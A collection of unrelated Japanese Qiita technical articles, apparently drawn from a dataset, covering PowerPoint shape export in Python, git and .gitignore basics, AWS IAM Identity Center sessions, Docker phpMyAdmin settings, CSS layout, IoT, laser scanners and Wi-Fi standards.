OmniAICreator/Qiita-1.07M huggingface dataset:
PythonでPowerPointプレゼンテーションの要素を画像として保存する

PowerPointのプレゼンテーション内の要素（テキストボックス、画像、形状、グラフなど）を画像として保存することは、コンテンツを他のプラットフォームで共有したり再利用するための便利な手段です。Pythonを使えば、スライド内のテキスト、画像、図形、表などをデザインや書式を保持したまま画像として保存し、ウェブページや他のドキュメントで再利用できます。この記事では、**Pythonを使用してPowerPointの要素を画像ファイルとして保存する方法**を説明します。

- **[Pythonを使用してスライド内のすべての要素を画像ファイルとして保存](#pythonを使用してスライド内のすべての要素を画像ファイルとして保存)**
- **[Pythonを使用してスライド内のフォーマット付き画像を画像ファイルとして保存](#pythonを使用してスライド内のフォーマット付き画像を画像ファイルとして保存)**

この記事で紹介する方法には、[Spire.Presentation for Python](https://jp.e-iceblue.com/introduce/spire-presentation-for-python.html)が必要です。PyPIからインストールできます：`pip install spire.presentation`

[無料ライセンスの申請](https://www.e-iceblue.com/TemLicense.html)

## Pythonを使用してスライド内のすべての要素を画像ファイルとして保存
PowerPointプレゼンテーションを操作する際、まず`Presentation.LoadFromFile()`メソッドでファイルからプレゼンテーションを読み込み、次に`Presentation.Slides.get_Item()`メソッドで特定のスライドを取得、またはすべてのスライドをループ処理できます。その後、`Slide.Shapes.SaveAsImage(shapeIndex: int, dpiX: int, dpiY: int)`メソッドを使って要素を画像として保存します。以下は操作手順の例です：
1. 必要なモジュールをインポート
2. `Presentation`インスタンスを作成
3. `Presentation.LoadFromFile()`メソッドを使用してPowerPointプレゼンテーションを読み込む
4. `Presentation.Pages.get_Item()`メソッドを使ってスライドを取得
5. スライド内の要素をループ処理：
    - `Slide.Shapes.SaveAsImage()`メソッドを使用して要素を画像ストリームとして保存
    - `Stream.Save()`メソッドを使用して画像ストリームをファイルに保存

**コード例**
```python
from spire.presentation import *

# 创建一个 Presentation 实例
presentation = Presentation()

# 加载一个 PowerPoint 文件
presentation.LoadFromFile("Sample.pptx")

# 获取第四张幻灯片（索引从0开始）
slide = presentation.Slides.get_Item(4)

# 将形状保存为图片流
for i in range(slide.Shapes.Count):
    # 保存当前形状为指定大小的图片流
    imageStream = slide.Shapes.SaveAsImage(i, 256, 256)
    # 保存图片到文件
    imageStream.Save(f"output/Shapes/ShapeToImage{i}.png")

# 释放资源
presentation.Dispose()
```

結果
![Pythonを使用してスライド内の要素を画像ファイルとして保存](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/278784/dde863d4-9dc4-7efe-f0c6-58c4197d97ea.png)

## Pythonを使用してスライド内のフォーマット付き画像を画像ファイルとして保存
要素を画像ファイルとして保存する方法を使うことで、プレゼンテーション内でフォーマットが適用された画像も、そのまま保存することが可能です。図形を画像として保存する際に、その要素が`SlidePicture`インスタンスであるかを確認し、該当するインスタンスを画像として保存します。以下は操作手順の例です：
1. 必要なモジュールをインポート
2. `Presentation`インスタンスを作成
3. `Presentation.LoadFromFile()`メソッドを使用してPowerPointプレゼンテーションを読み込む
4. `Presentation.Pages.get_Item()`メソッドを使ってスライドを取得
5. スライド内の要素をループ処理：
    - 要素が`SlidePicture`インスタンスであるかを確認し、該当する場合は画像ストリームとして保存
    - `Stream.Save()`メソッドを使用して画像ストリームを画像ファイルとして保存

**コード例**
```python
from spire.presentation import *

# Presentation インスタンスを作成
presentation = Presentation()

# PowerPoint ファイルをロード
presentation.LoadFromFile("Sample.pptx")

# 第5枚目のスライドを取得（インデックスは0から開始）
slide = presentation.Slides.get_Item(1)

# スライド内のすべての形状を反復
i = 0
for shape in slide.Shapes:
    # 形状が SlidePicture 型のオブジェクトか確認
    if isinstance(shape, SlidePicture):
        # 形状を画像ストリームとして保存
        image = slide.Shapes.SaveAsImage(slide.Shapes.IndexOf(shape), 256, 256)
        # 画像をファイルに保存
        image.Save(f"output/Images/ImageShape{i}.png")
        i += 1

# リソースを解放
presentation.Dispose()
```

結果
![Pythonを使用してスライド内のフォーマット付き画像を画像ファイルとして保存](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/278784/4584c3f9-1fc5-ddb5-f66c-d970c34fa9b5.png)

この記事では、Pythonを使用してPowerPointプレゼンテーション内の要素を画像ファイルとして保存する方法を紹介しました。
ソース管理から除外した方がいいフォルダ【git】

# 目次

- 初めに
- ソース管理から除外した方がいいフォルダ
- 除外するべき理由
- 除外する方法

# 初めに
VisualStudioの開発でソース管理から除外した方がいいフォルダについて調べたので、
アウトプットがてら簡単に紹介します。
環境はWindows11、TortoiseGit、そしてPowerShellを使用しています。

# ソース管理から除外した方がいいフォルダ
- binフォルダ
>プロジェクトをビルドした際の実行ファイルやビルド成果物などが入っています。

- objフォルダ
>デバッグ情報などが入っています。  
  
- .vsフォルダ
>Visual Studioのユーザー固有の設定ファイルが入っています。

# 除外するべき理由
- binフォルダ／objフォルダ
>ビルドごとに内容が変わるため、不要な競合が頻発します。

- .vsフォルダ
>開発者個人の設定情報であり、他の開発者には不要です。
隠しフォルダになっていますが、忘れずに除外しましょう。

# 除外する方法
- まずは「.gitignoreファイル」を作りましょう

```shell
New-Item -Path . -Name ".gitignore" -ItemType "file"
```
> この時、すでに.gitignoreファイルがある場合はエラーが出ます。特に気にせず、次に進んで大丈夫です:joy:


- 次に「.gitignoreファイル」を開きます

```shell
notepad .gitignore
```

- .gitignoreファイルに除外したいフォルダを追記します

```
bin/
obj/
.vs/
```
> コミットも忘れないようにしてくださいね。その他、不要なフォルダが見つかれば適宜.gitignoreファイルに追記していきましょう。
IAM Identity Center: 3つのセッションの違い

# はじめに
IAM Idneity Centerの導入にあたって、3つのセッションの違いに疑問が出たので、後述しました。

# 「許可セット」のセッション
マネジメントコンソールへのログインやAWS アクセスキーの有効期限を表している。

https://docs.aws.amazon.com/ja_jp/singlesignon/latest/userguide/howtosessionduration.html

>アクセス許可セット ごとに、セッション期間を指定して、ユーザーがサインインできる時間の長さを制御できます。 AWS アカウント。 指定された期間が経過すると、 AWS はセッションからユーザーをサインアウトします。


# 「許可セットから紐づいて作られたIAMロール」のセッション
許可セットから紐づいて作られたIAMロールは、全て12時間となってますが、許可セットで設定したセッション時間が正しいものとなります。

https://docs.aws.amazon.com/ja_jp/singlesignon/latest/userguide/howtosessionduration.html

>IAM Identity Center は、各アクセス許可セットに割り当てられた各アカウントにIAMロールを自動的に作成し、これらのロールを最大セッション期間 12 時間に設定します。

# 「セッション設定」のセッション
アクセスポータルへサインイン後にアクセスポータルを操作できる時間となります。

https://docs.aws.amazon.com/ja_jp/singlesignon/latest/userguide/howtosessionduration.html

>IAM Identity Center 管理者は、IAMIdentity Center と統合された両方のアプリケーションのセッション期間を設定できます。 AWS アクセスポータル への認証のセッション期間。AWS アクセスポータル および IAM Identity Center 統合アプリケーションは、ユーザーが再認証なしでサインインできる最大時間です。
レーザー スキャナーの光源の選択: 精度と用途に影響を与える重要な要素

レーザー スキャナーは、現代の産業、建築、文化遺産の保護に不可欠なツールの 1 つであり、レーザー光を放射することで物体の 3 次元形状をキャプチャします。しかし、多くの人が知らないのは、レーザー スキャナーの光源の選択がスキャン効果、精度、アプリケーション シナリオに重大な影響を与えるということです。さまざまな素材、環境条件、スキャンのニーズに応じて、さまざまな光源が適しています。したがって、適切な光源を選択すると、スキャン効果が向上するだけでなく、レーザー スキャナの適用範囲も拡大します。
![1629698487647.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3823693/4618d21e-c54c-d1b2-7a1d-d71b7fb66ffa.png)


1. 赤外レーザー：隠蔽された安定した光源
赤外線レーザーは、レーザー スキャナーで一般的に使用される光源の 1 つであり、人間の目で観察することが難しい状況での作業に特に適しています。波長が長く、塵、煙、その他の干渉をよりよく透過できるため、より複雑な産業環境や屋外用途に適しています。赤外線レーザー スキャナは、皮膚や髪をよく反射し、目を刺激しないため、通常、人間や動物をスキャンする必要がある状況で使用されます。

ただし、一部の反射性の高い材料を加工する場合、赤外線レーザーの有効性は限られています。たとえば、光沢のある金属表面やガラスはレーザー光を反射しすぎて、データの損失や歪みを引き起こす可能性があります。したがって、これらの高反射オブジェクトをスキャンする際のエラーを減らすには、追加の処理技術が必要です。

2. ブルーライトレーザー: 微細なスキャンのための強力なツール
青色レーザーは波長が短いため、物体の表面の微細な細部を捉えるのに適しており、高精度のスキャン状況で広く使用されています。青色光レーザーは散乱が少ないため、彫刻、文化遺物、精密部品のスキャンなど、複雑な形状や細かい質感を持つオブジェクトをより適切に処理できます。
![4227-2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3823693/170c7ea4-b36f-7485-5f0f-523049ed152e.jpeg)

さらに、青色光は明るい材料に対する反射制御が優れているため、金属やガラスなどの反射率の高い材料を処理する場合、青色光レーザー スキャナの方が赤外線レーザーよりも優れたパフォーマンスを発揮します。ただし、青色光レーザーは出力が低いため、有効スキャン距離は通常短く、短距離の高精度スキャン プロジェクトに適しています。

3. グリーンレーザー: 環境光の課題における強力なアシスタント
緑色レーザーの波長は赤外線と青色光の間にあり、視認性が高く、特に強い光や屋外環境での使用に適しています。一部の屋外建物スキャンまたはマッピング プロジェクトでは、緑色レーザーは自然光の干渉に十分に耐え、高品質のデータを確実に取得できます。
![images.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3823693/89940a20-5901-c1f5-e9e0-63983b3c71ef.jpeg)


緑色レーザーは、非常に高度な視覚認識を必要とする特定の職場、特にターゲットを明確に捉えるためにより高い輝度コントラストが必要なシーンでも広く使用されています。ただし、青色光レーザーと同様に、緑色光レーザーも高精度ではありますが、特に反射率の高い材料を加工する場合には、青色光ほどではありません。補助的な手段を使用する必要があります。

4. UV レーザー: 特殊材料のスキャンの専門家
紫外線レーザーは一般的ではありませんが、特定の特殊な材料を加工する場合に独特の利点を示しています。 UV 光は波長が短いため、ガラス、プラスチック、特定の結晶物質などの透明または半透明の材料をよりよく透過します。したがって、これらの特殊な素材をスキャンする場合、UV レーザーは他の光源では取得が難しい詳細をキャプチャできます。

ただし、UV レーザーはエネルギーが高いため、使用する際には安全性に特別な注意を払う必要があり、コストも高くなりますので、特殊な材料の詳細な分析が必要な科学研究や産業現場での使用が多くなります。
![Violet-Laser-Beam_1920_WEB.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3823693/8bd6461a-1388-8123-7282-1e1138b8804a.jpeg)


要約する
レーザー スキャナの光源の選択は、スキャンの精度、速度、適用環境を直接決定します。赤外光源は複雑な環境に適しており、青光は高精度のスキャンに適しており、緑光は屋外でのパフォーマンスに優れており、紫外光源は特殊な材料に対応しています。特定のニーズに応じて適切な光源を選択すると、スキャンの品質が効果的に向上し、レーザー スキャナのアプリケーション シナリオを拡張できます。
https://www.revopoint3d.com/collections/3d-scanners
IOTってなに？どんな場面で使われている技術？

<br>

# ■ はじめに
<br>

今回は「IoT」についてです。
IoTは近年、私たちの身の回りの日常生活やビジネスのあらゆる場面で活躍している技術です。
IoTとは何かからどのように使われているのか、IoTの今後の展望についてまで解説していきます。

# ■ 目次
<br>

1. [IoTとは何か](#1-iotとは何か)
2. [IoTの活用例](#2-iotの活用例)
3. [IoTのメリットと課題](#3-iotのメリットと課題)
4. [IoTの今後の展望](#4-iotの今後の展望)
5. [まとめ](#5-まとめ)

# 1. IoTとは何か
<br>

IoTは「Internet of Things」の略で直訳すると「物のインターネット」を意味します。
これは様々な物理的なデバイスがインターネットを介して通信を行い、データをやり取りする技術を指します。
この技術でデバイス毎の連携により、効率的に情報を収集・共有・分析することが可能になります。

最近では最初からインターネット接続機能の付いた家具家電が売っていることもありますが、
ハブといわれる中継器を用いて、ハブから赤外線リモコンとして電波を送信することで
スマートフォンから家具家電の操作を行うことも可能です。

### IoTの特徴
- **接続性**
    - 物理的なデバイスがインターネットに接続されることで、データの送受信が可能に

- **自動化**
    - 機械やデバイスが自動でデータを収集し判断を行うことで、人間の介入を減らす

- **リアルタイムデータ**
    - センサーやデバイスから取得したデータをリアルタイムで分析

### IoTの基本的な構成要素
1. **デバイス（温度センサーやカメラなどなど）**  
   デバイスがデータを収集し送信する目的
   
2. **ネットワーク**  
   デバイスをインターネットに接続し、クラウドや他のデバイスと通信を行う目的

3. **クラウドプラットフォーム**  
   データを集約し、解析や管理を行う目的

# 2. IoTの活用例
<br>

IoTが私たちの身の回りの技術としてどのように使われているかについての例です。

**スマートホーム**

IoT技術を家庭内で活用する代表的な例です。
日常生活に欠かせない照明やエアコンからセキュリティカメラなどをインターネットに接続し、スマートフォンアプリからの遠隔操作が可能になります。

最近では「Matter」と呼ばれるスマートホームのための共通規格（プロトコル）も出てきており、他社IoTデバイス間でも比較的容易に通信を行うことができるようになりました。

**ヘルスケア**

医療分野でもIoTは急速に進展しています。
患者の心拍数や血圧をリアルタイムでモニタリングし、異常があれば即座に通知されるシステムが開発されています。

**自動車**
自動運転車もIoTの一つです。
センサーを通じて車両が周囲の環境を認識し、インターネットを通じリアルタイムでデータを共有しながら自動で運転を行います。

# 3. IoTのメリットと課題
<br>

IoTのメリットと課題についてです。

 - 効率化
     人手を介さずに機器同士が連携することで、業務効率が向上
     
 - コスト削減
    自動化が進むことで、人件費やエネルギー消費が抑えられる
    
 - 安全性の向上
    リアルタイムで監視が行えるため、異常が発生した場合にすぐに対処可能
    また、ヒューマンエラー防止にも役立つ

IoTを導入することで上記のようなメリットが挙げられる一方で、インターネットを介してデバイスが接続されるために
悪意のある第三者からのハッキングであったり収集されたデータをどのように保護するかといったセキュリティリスクが課題となります。

# 4. IoTの今後の展望
<br>

物がインターネットに接続可能になるこのIoTの技術とAI（人工知能）を掛け合わせることにより、
現状よりも更に高度な自動化やリアルタイムでの処理が可能になることに期待がされています。
物自身が判断を行い、合理的に活動を行う未来になるかもしれません。

また、IoTは都市全体を効率化する「スマートシティ[^1]」にも活用されます。
交通管理やエネルギー消費の最適化、環境モニタリングなどを通して見える化されたあらゆる要素が
今後の未来ではIoTによって管理されることになるかもしれません。

# 5. まとめ
<br>

- IoTとは、物理的なデバイスがインターネットに接続されてデータをやり取りする技術
    - 接続性、自動化、リアルタイムデータの活用のような特徴
    - 活用例としてはスマートホーム、ヘルスケア、自動運転車...など多岐に渡る
<br>

 - IoTを導入するメリットは、効率化、コスト削減、安全性の向上
    - しかしながらセキュリティリスク、データのプライバシーの課題も発生する
<br>

 - IoTの今後はAIとの技術の掛け合わせで日常生活により密接に関わる技術になるかもしれない

[^1]:デジタル技術を活用して都市インフラ・施設や運営業務等を最適化し、企業や生活者の利便性・快適性の向上を目指す都市の施策
Docker の PHP で DBをインポートするときに upload limit of 2048KiB を解決する方法

# 背景
Docker で　DB をインポートしたら、POST なんちゃらエラーが出た。
php.ini を確認するために、
docker exec -it image_name -1 bash を実行した。
```Dockerfile:Dockerfile
# PHP 設定ファイル
COPY php.ini /usr/local/etc/php/php.ini
```
```bash:vi
vi /usr/local/etc/php/php.ini
```

```php.ini
post_max_size = 512M
upload_max_filesize = 512M
```
と記載されている。

# 解決策
設定を docker-compose.yml に記載する

```docker-compose.yml
    phpmyadmin:
        image: phpmyadmin:latest
        ports:
            - 8180:80
        environment:
            - PMA_HOST=app
            - PMA_USER=***
            - PMA_PASSWORD=***
            - UPLOAD_LIMIT=256M
            - POST_MAX_SIZE=256M

        depends_on:
            - app
```
設定を反映するのも忘れずに
```bash:bash
docker-compose build
docker-compose up -d
```
# 参考文献
- [【Docker】phpMyAdminでインポート時にファイルサイズでエラーが出る場合の対処方法](https://programming.sincoston.com/docker-phpmyadmin-uploadlimit/)
【CSS】ナビゲーションバーを見た目を整えて、レスポンシブにする

# ナビゲーションバーを見た目を整えて、レスポンシブにする

### before
![スクリーンショット 2024-10-18 15.35.16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3890600/3d339257-4770-ca14-935e-7f6353746539.png)

### after
![スクリーンショット 2024-10-18 15.42.28.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3890600/26d5c995-44f1-4a31-e34d-5dccc9f35366.png)

#### レスポンシブ
![スクリーンショット 2024-10-18 15.45.37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3890600/ba235e15-190a-afec-b9bb-60a05ea30b65.png)

---

### コード
```html:index.html
<body>
    <nav>
        <a href="#home">Home</a>
        <ul>

            <li>
                <a href="#Home">Learn More</a>
            </li>
            <li>
                <a href="#Home">About</a>
            </li>
            <li>
                <a href="#Home">Contact</a>
            </li>

        </ul>
        <a href="#signup">Sign Up</a>
    </nav>
    <h1>Media Queries</h1>
</body>
```
```css:style.css
nav {
  font-size: 1.5em;
  display: flex;
  /* スペースを均等に開ける */
  justify-content: space-around;
}

ul,
li {
  display: inline;
  margin: 0;
  padding: 0;
}

ul {
  /* border: 1px solid red; */
  display: flex;
  flex: 1;
  max-width: 40%;
  justify-content: space-around;
}

/* 中型デバイス（768px以上のとき） */
@media (max-width: 768px) {
  nav,
  ul {
    flex-direction: column;
    align-items: center;
  }
}
```


---

### ポイント


#### 【見た目】ナビゲーションバーのスペースを均等に開ける
navとul
`justify-content: space-around;`

#### 【見た目】要素のスペースを大きくして余白を持たせる
ul
`flex: 1;`：`flex-glow`と同じ
`max-width: 40%;`：`flex: 1;だけだと大きすぎるので制限

ここまでが見た目

#### 【レスポンシブ】横並びから縦並びにする
`flex-direction: column;`：主軸を縦にする
`align-items: center;`：センターに並べる
Gitはこう打て（初心者向け）

# はじめに
開発をする上で絶対必要になるGitですが、私は毎回記述しているようにゴリゴリの開発初心者でしたのでかなりGitに苦戦しました。
なんとなく概念は分かった気がするけど、上手くいかない…
ということが何回もあり、自分のブランチを何度もぶち壊してしまいました（笑）

本記事では、Gitの概要とかを説明するというよりか、私はこうやってGitを覚えて使っていますという具体的な例を説明したいと思います。
Gitの概念から知りたいようという方は以下の記事などを参考にしていただくと良いと思います。
https://qiita.com/a_goto/items/0fe40b17105d1ac1c40b

私が普段している手順をこちらでは記載します。
チームによって開発方法は異なると思うので、本記事が少しでも参考になれば嬉しいです。

# git clone [リポジトリパス]
```
git clone https://github.com/~~~~~
```
リモートリポジトリをローカル環境に複製するコマンド。
まずはクローンしてリモートリポジトリをローカル環境に持ってきます。

## git branch
```
git branch
```
cloneしてきて、developブランチがheadになっているのか、masterがheadなのか確認します。
git branchすると、現状作られている全てのブランチが見れます。そして、今いるブランチの色が変わります。
こんな感じ↓
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2743298/af8c5949-f444-2986-3383-00478265a93a.png)

developからトピックブランチを派生させなければいけないのに、masterしかない！という場合は、以下のコマンドでブランチを作りましょう。

# git checkout -b ブランチ名
```
git checkout -b name-xxxx
```
新しいブランチを作るコマンドです。
今いるブランチのheadから派生させたブランチを作ることができます。
同時に作成したブランチに移動してくれます。
別ブランチに移動したいときは以下コマンドで移動できます。
```
git checkout develop
```

# git log 
```
git log

git log --oneline
```
コミットのログを見ることができます。
--onlineをつけると、コミット番号とコミットコメントだけが見られるので見やすいためよく使用します。
リモートブランチのコミット履歴を確認して、ローカルブランチと差分がないかをトピックブランチを作成して1番最初に確認します。（差分があるとリモートの修正が消えたりしてしまうため）
ローカルブランチのコミット履歴より、リモートブランチのコミット履歴の方が進んでしまっている場合は以下を実行します。

# git pull --rebase origin ブランチ名
```
git pull --rebase origin name-xxxx
```
これをすることで、今いるローカルブランチのheadを指定したリモートブランチのheadに合わせることができます。
rebaseはmergeとはまた別の概念なので、よくわからんなという方はぜひこちらの記事を参考にしていただくと良いと思います。
https://qiita.com/dys/items/c062b1be0d0287352e37

これで開発の準備が整いました。

# git status
```
git status
```
変更されたファイルを見ることができます。
addする前に変更したファイルを確認します。

# git add
```
git add [ファイル名]

git add .
```
コード変更した履歴をステージに載せましょう。
これをしないと、commitができません。
`git add .`とすると、変更されたファイルすべてがステージに載せられます。
意図しないファイルもステージに載せてしまう場合があるので気を付けましょう。

# git commit -m "~~~~~"
```
git commit -m "first commit"
```
コミットを作成します。
-mをつけることで、コミットコメントを入れることができます。

# git push
```
git push
```
コミットをリモートリポジトリに上げるコマンドです。
トピックブランチを作って1回目にpushしてみると、基本的にgitに怒られます。
これは上流ブランチがセットされてないよというエラーです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2743298/ae7b3f2a-9365-3f87-c376-95bc07d908f2.png)

1回目のpushでは上流ブランチをセットすれば、今後のpushでは必ず上流ブランチを追跡できるので別のブランチに間違えてpushしてしまうことがなくなります。
なので、最初にエラーで書かれている通りの以下コマンドで上流ブランチをセットします。
```
git push --set-upstream origin ブランチ名
```
これをすればその後のpushコマンドでは毎回ブランチ名を入れる必要がなくなります。

これを覚えれば最低限Gitは扱えると思います。
無線LANのセキュリティ規格

IEEE 802.11を調べていると世代ごとのセキュリティも違うらしいので調べてみる

# WEP
>IEEE 802.11が規格化された当初に策定された、`初期の無線LANセキュリティ規格`です。WEPでは、暗号化鍵として、`パケットごとに異なるIV`に、`アクセスポイントごとに設定された４０ビットまたは104ビットのWEPキー`を連結したものを用います。また、使用する`暗号化アルゴリズムはRC4`です。`ユーザごとに暗号化鍵を変更できない`ことや、`IVが短い`こと、また`暗号化の実装方法に弱点`があることから脆弱性が問題視され、現在WEPの使用は推奨されていません。
# WPA
>WEPの脆弱性を解決するため、`Wi-Fi Allianceが策定した無線LANのセキュリティ規格`です。WEP対応機器のアップデートを念頭に置いた規格であるため、暗号化方式には、WEPと同じ`暗号化アルゴリズムRC4`を用いた`TKIPを採用`しています。ただし、`IVを48ビットに拡張`して、`IVとWEPキーを混在`させたり、また`定期的に暗号化鍵を更新`するなどの工夫（動的な鍵の更新）で安全性を高めています。
# WPA2
>`WPAの後続として規格化されたのがWPA2`です。`暗号化方式にCCMP`を採用しています。`CCMPはAES-CCMPあるいはCCMP(AES)`とも呼ばれ、暗号化アルゴリズムに強固なAESを用いていることが大きな特徴です。
 なお、WPA2ではCCMPが必須になっていますが、`通信相手がCCMPを使えない場合はTKIPを使う`ことができます。また、WPAはオプションとしてCCMPを使うこともできます。

https://gihyo.jp/book/2023/978-4-297-13865-3

# WPA3
>WPA3とは、2018年6月に発表された無線LANのためのセキュリティプロトコルです。大きな特徴となっているのは、`SAE（Simultaneous Authentication of Equals）と呼ばれる仕組みを用いて暗号化`に利用する鍵を生成する仕組みが盛り込まれている点です。
>
>WPA3の前に策定されたWPAおよびWPA2には、暗号化した通信内容を解読することができる、`KRACKsと呼ばれる深刻な脆弱性が発見されて大きな問題`となりました。WPA3ではSAEを採用することで、この脆弱性の問題を解消しています。さらにパスワードを利用しない、`不特定多数のユーザーが利用する無線LAN環境において、個々のユーザーの通信を暗号化する仕組み`も追加されています。
>
>ただ、`WPA3においてもDragonbloodと呼ばれる脆弱性がすでに発見`されており、無線LAN機器によってはベンダーから脆弱性を解消するためのアップデートプログラムが提供されています。

https://www.ntt.com/bizon/glossary/e-w/wpa3.html

参考

https://www.fielding.co.jp/service/security/measures/column/column-18/

# 感想
とりあえず無線LANの規格なのであって無線LANがIEEE 802.11のどれに該当するのかで使うセキュリティ規格が決まる。
どの無線LANがどの規格なのか把握できるのだろうか？、今更だがどう無線LANと接続できるのだろうか？

>特に暗号化されていない無線LANでは、接続されているクライアントのすべてのトラフィックを簡単に傍聴できてしまいます。

https://qiita.com/masatom86650860/items/c663115d2994499c1bd4#:~:text=%E7%89%B9%E3%81%AB%E6%9A%97%E5%8F%B7%E5%8C%96%E3%81%95%E3%82%8C%E3%81%A6%E3%81%84%E3%81%AA%E3%81%84%E7%84%A1%E7%B7%9ALAN%E3%81%A7%E3%81%AF%E3%80%81%E6%8E%A5%E7%B6%9A%E3%81%95%E3%82%8C%E3%81%A6%E3%81%84%E3%82%8B%E3%82%AF%E3%83%A9%E3%82%A4%E3%82%A2%E3%83%B3%E3%83%88%E3%81%AE%E3%81%99%E3%81%B9%E3%81%A6%E3%81%AE%E3%83%88%E3%83%A9%E3%83%95%E3%82%A3%E3%83%83%E3%82%AF%E3%82%92%E7%B0%A1%E5%8D%98%E3%81%AB%E5%82%8D%E8%81%B4%E3%81%A7%E3%81%8D%E3%81%A6%E3%81%97%E3%81%BE%E3%81%84%E3%81%BE%E3%81%99%E3%80%82

暗号化されていない無線LANとはセキュリティの規格に欠陥があったりするから通信の中身が盗聴されるのか。
「2016年 京都大学整数問題を今更解いてみた(@satoshin_astonish様)」ChatGPT-3.5先生へ聞きました。




# オリジナル
@satoshin_astonish 様

https://qiita.com/satoshin_astonish/items/e2d5a361aac42b5db72a

# MathML
理系【２】

https://mathexamtest.web.fc2.com/2016/201610541/2016105410100mj.html#top-0107

# ChatGPT-3.5先生へ

***●user***
```
日本語で回答をお願いします。
<p class="slevel"><a name="q-0107" 
id="q-0107"></a><span 
class="qnum">【２】</span>　素数<math>
<mspace width=".2em"></mspace><mrow><mi>p</mi>
<mspace width=".2em"></mspace><mtext>，</mtext>
</mrow><mi>q</mi><mspace width=".2em"></mspace>
</math>を用いて</p>
<p class="equation"><math>
<mrow><msup><mi>p</mi><mi>q</mi></msup><mo>+</mo>
<msup><mi>q</mi><mi>p</mi></msup></mrow></math></p>
<p class="slevel">と表される素数をすべて求めよ．
</p>
```
***ChatGPT-3.5***
...したがって、求める素数は 17 です。

# ChatGPT-3.5先生へ sympyで

***●user***
```
sympyでお願いします。
<p class="slevel"><a name="q-0107" 
id="q-0107"></a><span 
class="qnum">【２】</span>　素数<math>
<mspace width=".2em"></mspace><mrow><mi>p</mi>
<mspace width=".2em"></mspace><mtext>，</mtext>
</mrow><mi>q</mi><mspace width=".2em"></mspace>
</math>を用いて</p>
<p class="equation"><math>
<mrow><msup><mi>p</mi><mi>q</mi></msup><mo>+</mo>
<msup><mi>q</mi><mi>p</mi></msup></mrow></math></p>
<p class="slevel">と表される素数をすべて求めよ．
</p>
```

***ChatGPT-3.5***
...以下は、SymPyを使用してこの探索を行うためのコード例です。
# 以下、私が修正しました。
```python
import sympy as sp

# p, q は素数
primes = list(sp.primerange(2, 100))  # 2 から 100 までの素数をリストアップ

def find_prime_combinations():
    for p in primes:
        for q in primes:
            if p != q:
                result = p**q + q**p
                if sp.isprime(result):
                    print(f"p = {p}, q = {q}, p^q + q^p = {result} (prime)")

find_prime_combinations()
# ↓
print("#",find_prime_combinations())
```

**パイソニスタの方へ**
・3の倍数について、私がわからないので、聞けませんでした。
・ChatGPT-3.5先生へ。3の倍数について,どのような聞き方がおすすめですか。
　アドバイスをいただけたら幸いです。

# いつもの? sympyの実行環境と 参考のおすすめです。
[(テンプレート)](https://qiita.com/mrrclb48z/items/00dd08b0317069be9342)

・以下ができたら、助かります。指定と全部です

https://qiita.com/mrrclb48z/items/555d85face87552c34fb

https://qiita.com/mrrclb48z/items/5f57eac92aaca30e85c0

# いつもと違うおすすめです。
【Googleドキュメント】画像が移動できない原因と対処法

# 起きたこと
ドキュメントに挿入した画像をドラッグしても、任意の位置に移動できない。また、画像を選択しても「テキストの背面」「上下」などのオプションを設定できない。
# 原因
メニュー内のページ設定から「ページ区切りなし」の設定にしている場合、画像を移動できない仕様のようです。移動を諦めるか、ページ区切りありに変更する必要があります。
Wi-Fi６の規格を使用、確認するには

# Wi-Fi6にはどう接続するか？
せっかくWi-Fi 6（IEEE 802.11ax）対応ルーターに買い替えたのに、思ったより高速にならないとお困りではありませんか。Wi-Fi通信では、`ルーター（親機）とデバイス（子機）の規格が違うと、下位の規格でしか通信ができない`ため、Wi-Fi 6の性能を最大限に発揮できません。

https://www.iodata.jp/ssp/magazine/267/index.htm#:~:text=%E3%81%9B%E3%81%A3%E3%81%8B%E3%81%8FWi%2DFi%206%EF%BC%88IEEE%20802.11ax%EF%BC%89%E5%AF%BE%E5%BF%9C%E3%83%AB%E3%83%BC%E3%82%BF%E3%83%BC%E3%81%AB%E8%B2%B7%E3%81%84%E6%9B%BF%E3%81%88%E3%81%9F%E3%81%AE%E3%81%AB%E3%80%81%E6%80%9D%E3%81%A3%E3%81%9F%E3%82%88%E3%82%8A%E9%AB%98%E9%80%9F%E3%81%AB%E3%81%AA%E3%82%89%E3%81%AA%E3%81%84%E3%81%A8%E3%81%8A%E5%9B%B0%E3%82%8A%E3%81%A7%E3%81%AF%E3%81%82%E3%82%8A%E3%81%BE%E3%81%9B%E3%82%93%E3%81%8B%E3%80%82Wi%2DFi%E9%80%9A%E4%BF%A1%E3%81%A7%E3%81%AF%E3%80%81%E3%83%AB%E3%83%BC%E3%82%BF%E3%83%BC%EF%BC%88%E8%A6%AA%E6%A9%9F%EF%BC%89%E3%81%A8%E3%83%87%E3%83%90%E3%82%A4%E3%82%B9%EF%BC%88%E5%AD%90%E6%A9%9F%EF%BC%89%E3%81%AE%E8%A6%8F%E6%A0%BC%E3%81%8C%E9%81%95%E3%81%86%E3%81%A8%E3%80%81%E4%B8%8B%E4%BD%8D%E3%81%AE%E8%A6%8F%E6%A0%BC%E3%81%A7%E3%81%97%E3%81%8B%E9%80%9A%E4%BF%A1%E3%81%8C%E3%81%A7%E3%81%8D%E3%81%AA%E3%81%84%E3%81%9F%E3%82%81%E3%80%81Wi%2DFi%206%E3%81%AE%E6%80%A7%E8%83%BD%E3%82%92%E6%9C%80%E5%A4%A7%E9%99%90%E3%81%AB%E7%99%BA%E6%8F%AE%E3%81%A7%E3%81%8D%E3%81%BE%E3%81%9B%E3%82%93%E3%80%82

# 使用機器の対応規格
>Macで規格を確認する場合は、2通りあります。
>
>1つは、「option」キーを押しながら、Wi-Fiマークをクリックする方法です。そうすると、PHYモードの部分を確認すれば、自分がどの規格でネットにつながっているのかを確認できます。
>
>もう1つは以下の手順で行います。
>
>画面左上にある「リンゴマーク」をクリックします。
「このMacについて」をクリックします。
中央の下にある「システムレポート」をクリックします。
「ネットワーク」にある「Wi-Fi」をクリックし、PHYモードの部分を見れば規格がわかります。

